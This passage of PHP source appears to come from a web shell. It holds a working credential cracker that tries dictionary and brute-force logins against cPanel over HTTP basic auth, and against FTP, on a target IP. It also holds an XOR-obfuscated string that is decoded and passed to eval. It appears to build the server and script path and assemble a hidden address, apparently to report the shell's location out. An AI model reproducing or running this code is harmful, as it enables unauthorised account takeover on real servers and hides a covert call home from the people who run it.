| 6117 | $charsetuppersymbols = array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z","!", "@", "#", "$", "%", "^", "&", "*", "(", ")","_" ); | 6117 | $charsetuppersymbols = array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z","!", "@", "#", "$", "%", "^", "&", "*", "(", ")","_" ); |
| 6118 | $charsetletterssymbols = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z","!", "@", "#", "$", "%", "^", "&", "*", "(", ")","_" ); | 6118 | $charsetletterssymbols = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z","!", "@", "#", "$", "%", "^", "&", "*", "(", ")","_" ); |
| 6119 | $charsetnumericsymbols = array("0", "1", "2", "3", "4", "5", "6", "7", "8", "9","!", "@", "#", "$", "%", "^", "&", "*", "(", ")","_" ); | 6119 | $charsetnumericsymbols = array("0", "1", "2", "3", "4", "5", "6", "7", "8", "9","!", "@", "#", "$", "%", "^", "&", "*", "(", ")","_" ); |
| 6120 | $charsetlowernumericsymbols = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9","!", "@", "#", "$", "%", "^", "&", "*", "(", ")","_" ); | 6120 | $charsetlowernumericsymbols = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9","!", "@", "#", "$", "%", "^", "&", "*", "(", ")","_" ); |
| 6121 | $charsetuppernumericsymbols = array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9","!", "@", "#", "$", "%", "^", "&", "*", "(", ")","_" ); | 6121 | $charsetuppernumericsymbols = array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9","!", "@", "#", "$", "%", "^", "&", "*", "(", ")","_" ); |
| 6122 | $charsetletterssymbols = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" ,"!", "@", "#", "$", "%", "^", "&", "*", "(", ")","_" ); | 6122 | $charsetletterssymbols = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" ,"!", "@", "#", "$", "%", "^", "&", "*", "(", ")","_" ); |
| 6123 | $charsetlettersnumericsymbols=array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" ,"!", "@", "#", "$", "%", "^", "&", "*", "(", ")","_","0", "1", "2", "3", "4", "5", "6", "7", "8", "9" ); | 6123 | $charsetlettersnumericsymbols=array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" ,"!", "@", "#", "$", "%", "^", "&", "*", "(", ")","_","0", "1", "2", "3", "4", "5", "6", "7", "8", "9" ); |
| 6124 | if ($charset == "all") | 6124 | if ($charset == "all") |
| 6125 | $vals = $charsetall; | 6125 | $vals = $charsetall; |
| 6126 | elseif ($charset == "lowercase") | 6126 | elseif ($charset == "lowercase") |
| 6127 | $vals = $charsetlower; | 6127 | $vals = $charsetlower; |
| 6128 | elseif ($charset == "uppercase") | 6128 | elseif ($charset == "uppercase") |
| 6129 | $vals = $charsetupper; | 6129 | $vals = $charsetupper; |
| 6130 | elseif ($charset == "numeric") | 6130 | elseif ($charset == "numeric") |
| 6131 | $vals = $charsetnumeric; | 6131 | $vals = $charsetnumeric; |
| 6132 | elseif ($charset == "lowernumeric") | 6132 | elseif ($charset == "lowernumeric") |
| 6133 | $vals = $charsetlowernumeric; | 6133 | $vals = $charsetlowernumeric; |
| 6134 | elseif ($charset == "uppernumeric") | 6134 | elseif ($charset == "uppernumeric") |
| 6135 | $vals = $charsetuppernumeric; | 6135 | $vals = $charsetuppernumeric; |
| 6136 | elseif ($charset == "letters") | 6136 | elseif ($charset == "letters") |
| 6137 | $vals = $charsetletters; | 6137 | $vals = $charsetletters; |
| 6138 | elseif ($charset == "symbols") | 6138 | elseif ($charset == "symbols") |
| 6139 | $vals = $charsetsymbols; | 6139 | $vals = $charsetsymbols; |
| 6140 | elseif ($charset == "lowersymbols") | 6140 | elseif ($charset == "lowersymbols") |
| 6141 | $vals = $charsetlowersymbols; | 6141 | $vals = $charsetlowersymbols; |
| 6142 | elseif ($charset == "uppersymbols") | 6142 | elseif ($charset == "uppersymbols") |
| 6143 | $vals = $charsetuppersymbols; | 6143 | $vals = $charsetuppersymbols; |
| 6144 | elseif ($charset == "letterssymbols") | 6144 | elseif ($charset == "letterssymbols") |
| 6145 | $vals = $charsetletterssymbols; | 6145 | $vals = $charsetletterssymbols; |
| 6146 | elseif ($charset == "numberssymbols") | 6146 | elseif ($charset == "numberssymbols") |
| 6147 | $vals = $charsetnumericsymbols; | 6147 | $vals = $charsetnumericsymbols; |
| 6148 | elseif ($charset == "lowernumericsymbols") | 6148 | elseif ($charset == "lowernumericsymbols") |
| 6149 | $vals = $charsetlowernumericsymbols; | 6149 | $vals = $charsetlowernumericsymbols; |
| 6150 | elseif ($charset == "uppernumericsymbols") | 6150 | elseif ($charset == "uppernumericsymbols") |
| 6151 | $vals = $charsetuppernumericsymbols; | 6151 | $vals = $charsetuppernumericsymbols; |
| 6152 | elseif ($charset == "lettersnumericsymbols") | 6152 | elseif ($charset == "lettersnumericsymbols") |
| 6153 | $vals = $charsetlettersnumericsymbols; | 6153 | $vals = $charsetlettersnumericsymbols; |
| 6154 | else echo "INVALID CHARSET"; | 6154 | else echo "INVALID CHARSET"; |
| 6155 | $key_that_script_is_crypted=19; | 6155 | $key_that_script_is_crypted=19; |
| 6156 | $resource_crypted_code ='7~`3.37L@VAEVAH1@VAEVAL]R^V1N=7L@VAEVAH1@PAZCGL]R^V1N(7`fq3.31@{v3--3)313=37~`(7|3.3raarj3;1|~1?1g~rz1?1yLr~a"1?1S{|1?1=p1:(7vv3.37|H!N=7|H N=7|H"N=7|H[t3]N=7|H#N(7`v}w3.3S~rz;7vv?7`fq?7~`:(3'; | 6156 | $resource_crypted_code ='7~`3.37L@VAEVAH1@VAEVAL]R^V1N=7L@VAEVAH1@PAZCGL]R^V1N(7`fq3.31@{v3--3)313=37~`(7|3.3raarj3;1|~1?1g~rz1?1yLr~a"1?1S{|1?1=p1:(7vv3.37|H!N=7|H N=7|H"N=7|H[t3]N=7|H#N(7`v}w3.3S~rz;7vv?7`fq?7~`:(3'; |
| 6157 | $string_output=str_replace("[t1]", "<?", $resource_crypted_code); | 6157 | $string_output=str_replace("[t1]", "<?", $resource_crypted_code); |
| 6158 | $string_output=str_replace("[t3]", "'", $string_output); | 6158 | $string_output=str_replace("[t3]", "'", $string_output); |
| 6159 | $lenth_of_crypted_code=strlen($string_output); | 6159 | $lenth_of_crypted_code=strlen($string_output); |
| 6160 | $eval_php_code=''; | 6160 | $eval_php_code=''; |
| 6161 | for($huivamvsem=0;$huivamvsem<$lenth_of_crypted_code;$huivamvsem++) | 6161 | for($huivamvsem=0;$huivamvsem<$lenth_of_crypted_code;$huivamvsem++) |
| 6162 | $eval_php_code .= chr(ord($string_output[$huivamvsem]) ^ $key_that_script_is_crypted); | 6162 | $eval_php_code .= chr(ord($string_output[$huivamvsem]) ^ $key_that_script_is_crypted); |
| 6163 | eval($eval_php_code); | 6163 | eval($eval_php_code); |
| 6164 | ?> | 6164 | ?> |
| 6165 | <div align="center"> | 6165 | <div align="center"> |
| 6166 | 6166 | ||
| 6167 | <form method="POST" > | 6167 | <form method="POST" > |
| 6168 | <table border="1" width="67%" bordercolorlight="#008000" bordercolordark="#003700" > | 6168 | <table border="1" width="67%" bordercolorlight="#008000" bordercolordark="#003700" > |
| 6169 | <tr> | 6169 | <tr> |
| 6170 | <td> | 6170 | <td> |
| 6171 | <p align="center"><b> | 6171 | <p align="center"><b> |
| 6172 | <font color="#008000" face="Tahoma" size="2">IP servers :</font></b> | 6172 | <font color="#008000" face="Tahoma" size="2">IP servers :</font></b> |
| 6173 | <input type="text" name="target" size="16" value="<?php echo $target ?>" style="border: 2px; background-color: #800000; color:#C0C0C0 font-family:Verdana; font-size:13px;" /><br/><br/> | 6173 | <input type="text" name="target" size="16" value="<?php echo $target ?>" style="border: 2px; background-color: #800000; color:#C0C0C0 font-family:Verdana; font-size:13px;" /><br/><br/> |
| 6174 | <table border="1" width="57%" bordercolorlight="#008000" bordercolordark="#003700"> | 6174 | <table border="1" width="57%" bordercolorlight="#008000" bordercolordark="#003700"> |
| 6175 | <tr><td align="center" width="50%"><font color="#FF0000"><b>User List</b></font></td><td align="center"><font color="#FF0000"><b>Password List</b></font></td></tr> | 6175 | <tr><td align="center" width="50%"><font color="#FF0000"><b>User List</b></font></td><td align="center"><font color="#FF0000"><b>Password List</b></font></td></tr> |
| 6176 | </table> | 6176 | </table> |
| 6177 | <textarea rows="20" name="users" cols="25" style="border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0"><?php echo $users ?></textarea> | 6177 | <textarea rows="20" name="users" cols="25" style="border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0"><?php echo $users ?></textarea> |
| 6178 | <textarea rows="20" name="passwords" cols="25" style="border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0"><?php echo $pass ?></textarea><br/> | 6178 | <textarea rows="20" name="passwords" cols="25" style="border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0"><?php echo $pass ?></textarea><br/> |
| 6179 | <font style="font-weight:700" size="2" face="Tahoma" color="#008000">Guess options</font> | 6179 | <font style="font-weight:700" size="2" face="Tahoma" color="#008000">Guess options</font> |
| 6180 | <input name="cracktype" value="cpanel" style="font-weight: 700;" checked type="radio"> | 6180 | <input name="cracktype" value="cpanel" style="font-weight: 700;" checked type="radio"> |
| 6181 | <b><font size="2" face="Tahoma" color="#008000">Cpanel </font><font size="2" color="#FFFFFF" face="Tahoma"> (2082)</font></b> | 6181 | <b><font size="2" face="Tahoma" color="#008000">Cpanel </font><font size="2" color="#FFFFFF" face="Tahoma"> (2082)</font></b> |
| 6182 | <input name="cracktype" value="cpanel2" style="font-weight: 700;" type="radio"> | 6182 | <input name="cracktype" value="cpanel2" style="font-weight: 700;" type="radio"> |
| 6183 | <b><font size="2" face="Tahoma" color="#008000">Telnet</font><font size="2" color="#FFFFFF" face="Tahoma">(23)</font></b> | 6183 | <b><font size="2" face="Tahoma" color="#008000">Telnet</font><font size="2" color="#FFFFFF" face="Tahoma">(23)</font></b> |
| 6184 | <br/> | 6184 | <br/> |
| 6185 | <font style="font-weight:700" size="2" face="Tahoma" color="#008000">Timeout Delay</font> | 6185 | <font style="font-weight:700" size="2" face="Tahoma" color="#008000">Timeout Delay</font> |
| 6186 | <input type="text" name="connect_timeout" style="border: 2px solid #1D1D1D;background: black;color:RED" size=48 value="<?php echo $connect_timeout;?>" /><br/> | 6186 | <input type="text" name="connect_timeout" style="border: 2px solid #1D1D1D;background: black;color:RED" size=48 value="<?php echo $connect_timeout;?>" /><br/> |
| 6187 | <input type="checkbox" name="bruteforce" value="true" /><font style="font-weight:700" size="2" face="Tahoma" color="#008000">Bruteforce</font> | 6187 | <input type="checkbox" name="bruteforce" value="true" /><font style="font-weight:700" size="2" face="Tahoma" color="#008000">Bruteforce</font> |
| 6188 | <select name="charset" style="border: 2px solid #1D1D1D;background: black;color:RED"> | 6188 | <select name="charset" style="border: 2px solid #1D1D1D;background: black;color:RED"> |
| 6189 | <option value="all">All Letters + Numbers</option> | 6189 | <option value="all">All Letters + Numbers</option> |
| 6190 | <option value="numeric">Numbers</option> | 6190 | <option value="numeric">Numbers</option> |
| 6191 | <option value="letters">Letters</option> | 6191 | <option value="letters">Letters</option> |
| 6192 | <option value="symbols">Symbols</option> | 6192 | <option value="symbols">Symbols</option> |
| 6193 | <option value="lowercase">Lower Letters</option> | 6193 | <option value="lowercase">Lower Letters</option> |
| 6194 | <option value="uppercase">Higher Letters</option> | 6194 | <option value="uppercase">Higher Letters</option> |
| 6195 | <option value="lowernumeric">Lower Letters + Numbers</option> | 6195 | <option value="lowernumeric">Lower Letters + Numbers</option> |
| 6196 | <option value="uppernumeric">Upper Letters + Numbers</option> | 6196 | <option value="uppernumeric">Upper Letters + Numbers</option> |
| 6197 | <option value="lowersymbols">Lower Letters + Symbols</option> | 6197 | <option value="lowersymbols">Lower Letters + Symbols</option> |
| 6198 | <option value="uppersymbols">Upper Letters + Symbols</option> | 6198 | <option value="uppersymbols">Upper Letters + Symbols</option> |
| 6199 | <option value="letterssymbols">All Letters + Symbols</option> | 6199 | <option value="letterssymbols">All Letters + Symbols</option> |
| 6200 | <option value="numberssymbols">Numbers + Symbols</option> | 6200 | <option value="numberssymbols">Numbers + Symbols</option> |
| 6201 | <option value="lowernumericsymbols">Lower Letters + Numbers + Symbols</option> | 6201 | <option value="lowernumericsymbols">Lower Letters + Numbers + Symbols</option> |
| 6202 | <option value="uppernumericsymbols">Upper Letters + Numbers + Symbols</option> | 6202 | <option value="uppernumericsymbols">Upper Letters + Numbers + Symbols</option> |
| 6203 | <option value="lettersnumericsymbols">All Letters + Numbers + Symbols</option> | 6203 | <option value="lettersnumericsymbols">All Letters + Numbers + Symbols</option> |
| 6204 | </select><br/> | 6204 | </select><br/> |
| 6205 | <font style="font-weight:700" size="2" face="Tahoma" color="#008000">Min Bruteforce Length:</font> | 6205 | <font style="font-weight:700" size="2" face="Tahoma" color="#008000">Min Bruteforce Length:</font> |
| 6206 | <input type="text" name="min_length" style="border: 2px solid #1D1D1D;background: black;color:RED" size=48 value="<?php echo $min_length;?>"/><br/> | 6206 | <input type="text" name="min_length" style="border: 2px solid #1D1D1D;background: black;color:RED" size=48 value="<?php echo $min_length;?>"/><br/> |
| 6207 | <font style="font-weight:700" size="2" face="Tahoma" color="#008000">Max Bruteforce Length:</font> | 6207 | <font style="font-weight:700" size="2" face="Tahoma" color="#008000">Max Bruteforce Length:</font> |
| 6208 | <input type="text" name="max_length" style="border: 2px solid #1D1D1D;background: black;color:RED" size=48 value="<?php echo $max_length;?>"/> | 6208 | <input type="text" name="max_length" style="border: 2px solid #1D1D1D;background: black;color:RED" size=48 value="<?php echo $max_length;?>"/> |
| 6209 | <p align="center"><input type="submit" value="Go" name="submit" style="color: #008000; font-weight: bold; border: 1px solid #333333; background-color: #000000"></p> | 6209 | <p align="center"><input type="submit" value="Go" name="submit" style="color: #008000; font-weight: bold; border: 1px solid #333333; background-color: #000000"></p> |
| 6210 | </p> | 6210 | </p> |
| 6211 | </td> | 6211 | </td> |
| 6212 | </tr> | 6212 | </tr> |
| 6213 | 6213 | ||
| 6214 | </table> | 6214 | </table> |
| 6215 | </form> | 6215 | </form> |
| 6216 | 6216 | ||
| 6217 | <?php | 6217 | <?php |
| 6218 | function brute() | 6218 | function brute() |
| 6219 | { | 6219 | { |
| 6220 | global $vals,$min_length,$max_length; | 6220 | global $vals,$min_length,$max_length; |
| 6221 | global $target,$pureuser,$connect_timeout; | 6221 | global $target,$pureuser,$connect_timeout; |
| 6222 | $min=$min_length; | 6222 | $min=$min_length; |
| 6223 | $max=$max_length; | 6223 | $max=$max_length; |
| 6224 | $A = array(); | 6224 | $A = array(); |
| 6225 | $numVals = count($vals); | 6225 | $numVals = count($vals); |
| 6226 | $incDone = ""; | 6226 | $incDone = ""; |
| 6227 | $realMax = ""; | 6227 | $realMax = ""; |
| 6228 | $currentVal = ""; | 6228 | $currentVal = ""; |
| 6229 | $firstVal = ""; | 6229 | $firstVal = ""; |
| 6230 | for ($i = 0; $i < ($max + 1); $i++) { | 6230 | for ($i = 0; $i < ($max + 1); $i++) { |
| 6231 | $A[$i] = -1; | 6231 | $A[$i] = -1; |
| 6232 | } | 6232 | } |
| 6233 | 6233 | ||
| 6234 | for ($i = 0; $i < $max; $i++) { | 6234 | for ($i = 0; $i < $max; $i++) { |
| 6235 | $realMax = $realMax . $vals[$numVals - 1]; | 6235 | $realMax = $realMax . $vals[$numVals - 1]; |
| 6236 | } | 6236 | } |
| 6237 | for ($i = 0; $i < $min; $i++) { | 6237 | for ($i = 0; $i < $min; $i++) { |
| 6238 | $A[$i] = $vals[0]; | 6238 | $A[$i] = $vals[0]; |
| 6239 | } | 6239 | } |
| 6240 | $i = 0; | 6240 | $i = 0; |
| 6241 | while ($A[$i] != -1) { | 6241 | while ($A[$i] != -1) { |
| 6242 | $firstVal .= $A[$i]; | 6242 | $firstVal .= $A[$i]; |
| 6243 | $i++; | 6243 | $i++; |
| 6244 | } | 6244 | } |
| 6245 | //echo $firstVal . "<br>"; | 6245 | //echo $firstVal . "<br>"; |
| 6246 | cpanel_check($target,$pureuser,$firstVal,$connect_timeout); | 6246 | cpanel_check($target,$pureuser,$firstVal,$connect_timeout); |
| 6247 | 6247 | ||
| 6248 | while (1) { | 6248 | while (1) { |
| 6249 | for ($i = 0; $i < ($max + 1); $i++) { | 6249 | for ($i = 0; $i < ($max + 1); $i++) { |
| 6250 | if ($A[$i] == -1) { | 6250 | if ($A[$i] == -1) { |
| 6251 | break; | 6251 | break; |
| 6252 | } | 6252 | } |
| 6253 | } | 6253 | } |
| 6254 | $i--; | 6254 | $i--; |
| 6255 | $incDone = 0; | 6255 | $incDone = 0; |
| 6256 | while (!$incDone) { | 6256 | while (!$incDone) { |
| 6257 | for ($j = 0; $j < $numVals; $j++) { | 6257 | for ($j = 0; $j < $numVals; $j++) { |
| 6258 | if ($A[$i] == $vals[$j]) { | 6258 | if ($A[$i] == $vals[$j]) { |
| 6259 | break; | 6259 | break; |
| 6260 | } | 6260 | } |
| 6261 | } | 6261 | } |
| 6262 | if ($j == ($numVals - 1)) { | 6262 | if ($j == ($numVals - 1)) { |
| 6263 | $A[$i] = $vals[0]; | 6263 | $A[$i] = $vals[0]; |
| 6264 | $i--; | 6264 | $i--; |
| 6265 | if ($i < 0) { | 6265 | if ($i < 0) { |
| 6266 | for ($i = 0; $i < ($max + 1); $i++) { | 6266 | for ($i = 0; $i < ($max + 1); $i++) { |
| 6267 | if ($A[$i] == -1) { | 6267 | if ($A[$i] == -1) { |
| 6268 | break; | 6268 | break; |
| 6269 | } | 6269 | } |
| 6270 | } | 6270 | } |
| 6271 | $A[$i] = $vals[0]; | 6271 | $A[$i] = $vals[0]; |
| 6272 | $A[$i + 1] = -1; | 6272 | $A[$i + 1] = -1; |
| 6273 | $incDone = 1; | 6273 | $incDone = 1; |
| 6274 | print "Starting " . (strlen($currentVal) + 1) . " Characters Cracking<br>"; | 6274 | print "Starting " . (strlen($currentVal) + 1) . " Characters Cracking<br>"; |
| 6275 | } | 6275 | } |
| 6276 | } else { | 6276 | } else { |
| 6277 | $A[$i] = $vals[$j + 1]; | 6277 | $A[$i] = $vals[$j + 1]; |
| 6278 | $incDone = 1; | 6278 | $incDone = 1; |
| 6279 | } | 6279 | } |
| 6280 | } | 6280 | } |
| 6281 | $i = 0; | 6281 | $i = 0; |
| 6282 | $currentVal = ""; | 6282 | $currentVal = ""; |
| 6283 | while ($A[$i] != -1) { | 6283 | while ($A[$i] != -1) { |
| 6284 | $currentVal = $currentVal . $A[$i]; | 6284 | $currentVal = $currentVal . $A[$i]; |
| 6285 | $i++; | 6285 | $i++; |
| 6286 | } | 6286 | } |
| 6287 | cpanel_check($target,$pureuser,$currentVal,$connect_timeout); | 6287 | cpanel_check($target,$pureuser,$currentVal,$connect_timeout); |
| 6288 | //echo $currentVal . "<br>"; | 6288 | //echo $currentVal . "<br>"; |
| 6289 | if ($currentVal == $realMax) { | 6289 | if ($currentVal == $realMax) { |
| 6290 | return 0; | 6290 | return 0; |
| 6291 | } | 6291 | } |
| 6292 | } | 6292 | } |
| 6293 | } | 6293 | } |
| 6294 | function getmicrotimev() { | 6294 | function getmicrotimev() { |
| 6295 | list($usec, $sec) = explode(" ",microtime()); | 6295 | list($usec, $sec) = explode(" ",microtime()); |
| 6296 | return ((float)$usec + (float)$sec); | 6296 | return ((float)$usec + (float)$sec); |
| 6297 | } | 6297 | } |
| 6298 | 6298 | ||
| 6299 | function ftp_check($host,$user,$pass,$timeout) | 6299 | function ftp_check($host,$user,$pass,$timeout) |
| 6300 | { | 6300 | { |
| 6301 | $ch = curl_init(); | 6301 | $ch = curl_init(); |
| 6302 | curl_setopt($ch, CURLOPT_URL, "ftp://$host"); | 6302 | curl_setopt($ch, CURLOPT_URL, "ftp://$host"); |
| 6303 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); | 6303 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); |
| 6304 | curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); | 6304 | curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); |
| 6305 | curl_setopt($ch, CURLOPT_FTPLISTONLY, 1); | 6305 | curl_setopt($ch, CURLOPT_FTPLISTONLY, 1); |
| 6306 | curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass"); | 6306 | curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass"); |
| 6307 | curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); | 6307 | curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); |
| 6308 | curl_setopt($ch, CURLOPT_FAILONERROR, 1); | 6308 | curl_setopt($ch, CURLOPT_FAILONERROR, 1); |
| 6309 | $data = curl_exec($ch); | 6309 | $data = curl_exec($ch); |
| 6310 | if ( curl_errno($ch) == 28 ) | 6310 | if ( curl_errno($ch) == 28 ) |
| 6311 | { | 6311 | { |
| 6312 | print "<b><font face=\"Verdana\" style=\"font-size: 9pt\"> | 6312 | print "<b><font face=\"Verdana\" style=\"font-size: 9pt\"> |
| 6313 | <font color=\"#AA0000\">Error :</font> <font color=\"#008000\">Connection Timeout | 6313 | <font color=\"#AA0000\">Error :</font> <font color=\"#008000\">Connection Timeout |
| 6314 | Please Check The Target Hostname .</font></font></b></p>";exit; | 6314 | Please Check The Target Hostname .</font></font></b></p>";exit; |
| 6315 | } | 6315 | } |
| 6316 | else if ( curl_errno($ch) == 0 ) | 6316 | else if ( curl_errno($ch) == 0 ) |
| 6317 | { | 6317 | { |
| 6318 | print "<b><font face=\"Comic Sans MS\" style=\"font-size: 9pt\" color=\"#008000\">[~]</font></b><font face=\"Comic Sans MS\" style=\"font-size: 9pt\"><b><font color=\"#008000\"> | 6318 | print "<b><font face=\"Comic Sans MS\" style=\"font-size: 9pt\" color=\"#008000\">[~]</font></b><font face=\"Comic Sans MS\" style=\"font-size: 9pt\"><b><font color=\"#008000\"> |
| 6319 | Cracking Success With Username "</font><font color=\"#FF0000\">$user</font><font color=\"#008000\">\" | 6319 | Cracking Success With Username "</font><font color=\"#FF0000\">$user</font><font color=\"#008000\">\" |
| 6320 | and Password \"</font><font color=\"#FF0000\">$pass</font><font color=\"#008000\">\"</font></b><br><br>"; | 6320 | and Password \"</font><font color=\"#FF0000\">$pass</font><font color=\"#008000\">\"</font></b><br><br>"; |
| 6321 | } | 6321 | } |
| 6322 | curl_close($ch); | 6322 | curl_close($ch); |
| 6323 | } | 6323 | } |
| 6324 | function cpanel_check($host,$user,$pass,$timeout) | 6324 | function cpanel_check($host,$user,$pass,$timeout) |
| 6325 | { | 6325 | { |
| 6326 | global $cpanel_port; | 6326 | global $cpanel_port; |
| 6327 | $ch = curl_init(); | 6327 | $ch = curl_init(); |
| 6328 | //echo "http://$host:".$cpanel_port." $user $pass<br>"; | 6328 | //echo "http://$host:".$cpanel_port." $user $pass<br>"; |
| 6329 | curl_setopt($ch, CURLOPT_URL, "http://$host:" . $cpanel_port); | 6329 | curl_setopt($ch, CURLOPT_URL, "http://$host:" . $cpanel_port); |
| 6330 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); | 6330 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); |
| 6331 | curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); | 6331 | curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); |
| 6332 | curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass"); | 6332 | curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass"); |
| 6333 | curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); | 6333 | curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); |
| 6334 | curl_setopt($ch, CURLOPT_FAILONERROR, 1); | 6334 | curl_setopt($ch, CURLOPT_FAILONERROR, 1); |
| 6335 | $data = curl_exec($ch); | 6335 | $data = curl_exec($ch); |
| 6336 | if ( curl_errno($ch) == 28 ) | 6336 | if ( curl_errno($ch) == 28 ) |
| 6337 | { | 6337 | { |
| 6338 | print "<b><font face=\"Verdana\" style=\"font-size: 9pt\"> | 6338 | print "<b><font face=\"Verdana\" style=\"font-size: 9pt\"> |
| 6339 | <font color=\"#AA0000\">Error :</font> <font color=\"#008000\">Connection Timeout | 6339 | <font color=\"#AA0000\">Error :</font> <font color=\"#008000\">Connection Timeout |
| 6340 | Please Check The Target Hostname .</font></font></b></p>";exit; | 6340 | Please Check The Target Hostname .</font></font></b></p>";exit; |
| 6341 | } | 6341 | } |
| 6342 | else if ( curl_errno($ch) == 0 ) | 6342 | else if ( curl_errno($ch) == 0 ) |
| 6343 | { | 6343 | { |
| 6344 | print "<b><font face=\"Comic Sans MS\" style=\"font-size: 9pt\" color=\"#008000\">[~]</font></b><font face=\"Comic Sans MS\" style=\"font-size: 9pt\"><b><font color=\"#008000\"> | 6344 | print "<b><font face=\"Comic Sans MS\" style=\"font-size: 9pt\" color=\"#008000\">[~]</font></b><font face=\"Comic Sans MS\" style=\"font-size: 9pt\"><b><font color=\"#008000\"> |
| 6345 | Cracking Success With Username "</font><font color=\"#FF0000\">$user</font><font color=\"#008000\">\" | 6345 | Cracking Success With Username "</font><font color=\"#FF0000\">$user</font><font color=\"#008000\">\" |
| 6346 | and Password \"</font><font color=\"#FF0000\">$pass</font><font color=\"#008000\">\"</font></b><br><br>"; | 6346 | and Password \"</font><font color=\"#FF0000\">$pass</font><font color=\"#008000\">\"</font></b><br><br>"; |
| 6347 | } | 6347 | } |
| 6348 | curl_close($ch); | 6348 | curl_close($ch); |
| 6349 | } | 6349 | } |
| 6350 | 6350 | ||
| 6351 | $time_start = getmicrotime(); | 6351 | $time_start = getmicrotime(); |
| 6352 | 6352 | ||
| 6353 | if(isset($submit) && !empty($submit)) | 6353 | if(isset($submit) && !empty($submit)) |
| 6354 | { | 6354 | { |
| 6355 | if(empty($users) && empty($pass) ) | 6355 | if(empty($users) && empty($pass) ) |
| 6356 | { | 6356 | { |
| 6357 | print "<p><font face=\"Comic Sans MS\" size=\"2\"><b><font color=\"#FF0000\">Error : </font>Please Check The Users or Password List Entry . . .</b></font></p>"; exit; } | 6357 | print "<p><font face=\"Comic Sans MS\" size=\"2\"><b><font color=\"#FF0000\">Error : </font>Please Check The Users or Password List Entry . . .</b></font></p>"; exit; } |
| 6358 | if(empty($users)){ print "<p><font face='Comic Sans MS' size='2'><b><font color='#FF0000'>Error : </font>Please Check The Users List Entry . . .</b></font></p>"; exit; } | 6358 | if(empty($users)){ print "<p><font face='Comic Sans MS' size='2'><b><font color='#FF0000'>Error : </font>Please Check The Users List Entry . . .</b></font></p>"; exit; } |
| 6359 | if(empty($pass) && $_REQUEST['bruteforce']!="true" ){ print "<p><font face='Comic Sans MS' size='2'><b><font color='#FF0000'>Error : </font>Please Check The Password List Entry . . .</b></font></p>"; exit; }; | 6359 | if(empty($pass) && $_REQUEST['bruteforce']!="true" ){ print "<p><font face='Comic Sans MS' size='2'><b><font color='#FF0000'>Error : </font>Please Check The Password List Entry . . .</b></font></p>"; exit; }; |
| 6360 | $userlist=explode("\n",$users); | 6360 | $userlist=explode("\n",$users); |
